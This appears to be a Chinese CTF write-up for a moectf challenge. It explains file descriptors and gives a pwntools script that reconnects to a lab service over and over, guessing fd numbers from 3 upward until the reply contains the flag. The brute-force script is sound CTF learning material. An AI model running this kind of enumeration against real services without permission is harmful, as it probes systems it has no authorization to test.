题目简述




大概是要我们输入一个叫fd的东西来读取文件,也就是只要我们输入正确的fd就可以得到flag,那什么是fd呢?

FD,即“文件描述符”,以下是摘录于知乎的简述:

fd是什么?

fd是File descriptor的缩写,中文名叫做:文件描述符。文件描述符是一个非负整数,本质上是一个索引值(这句话非常重要)。

什么时候拿到的fd?

当打开一个文件时,内核向进程返回一个文件描述符( open 系统调用得到 ),后续 readwrite 这个文件时,则只需要用这个文件描述符来标识该文件,将其作为参数传入 readwrite

fd 的值范围是什么?

在 POSIX 语义中,0,1,2 这三个 fd 值已经被赋予特殊含义,分别是标准输入( STDIN_FILENO ),标准输出( STDOUT_FILENO ),标准错误( STDERR_FILENO )。

文件描述符是有一个范围的:0 ~ OPEN_MAX-1 ,最早期的 UNIX 系统中范围很小,现在的主流系统单就这个值来说,变化范围是几乎不受限制的,只受到系统硬件配置和系统管理员配置的约束。

看完上面的介绍我们知道:

1.fd是一个非负整数
2.fd用来表示一个被程序打开的文件
3.fd中0,1,2已经被赋予特殊含义
4.fd可以非常大

一个想法从我心中诞生,是不是只要我从3开始一直试就能试出flag的fd。但问题又来了,如上面的图2和图3,当我向程序输入一个fd之后,程序会立即断开我的连接,这样会使我无法进行后面的穷举,该怎么办呢?很简单,那就再开一个连接,让我的脚本控制连接与中断,试完3就断开,然后开启新的连接试4,以此类推,把主动权掌握在自己手里。

编写POC

用python写脚本,并且请出我们的pwntools,写完后运行:

如果我们只是这样尝试,一条一条回显的看,很容易错过flag,而且浪费宝贵时间,于是,我增加了匹配与flag相关字符串的代码,上网搜索的代码有些很复杂,其实只需要一个in就可以,当字符串匹配时会返回一个True布尔变量。

from pwn import *

t = 3
check="moectf"
#context.log_level="debug"

while True:
    r = remote("192.168.36.1","50633")
    for i in range(1,5): 
        l = r.recvline() #分行接受信息
        if i == 3: #将整形变量转化为byte并发送
            strt = str(t)
            r.sendline(strt.encode())
            t = t + 1
        if i == 4: #接受回显并检查
            strl = str(l)
            print(l)
            if check in strl:
                print("get flag!")
                exit(0) #得到flag后退出
    print(t)
    r.close()
    #time.sleep(1)

输入执行,去泡杯茶吧

这次结束的很干净

踩坑总结

1.python中的字符串匹配可以用正则表达式和re,但在这题里in是很好的选择
2.善于转换思路,比如本题中将连接掌握在自己手里的操作
3.这种解法对网络资源的需求高,网络不好程序可能会慢,而且容器会断开连接

⬆︎TOP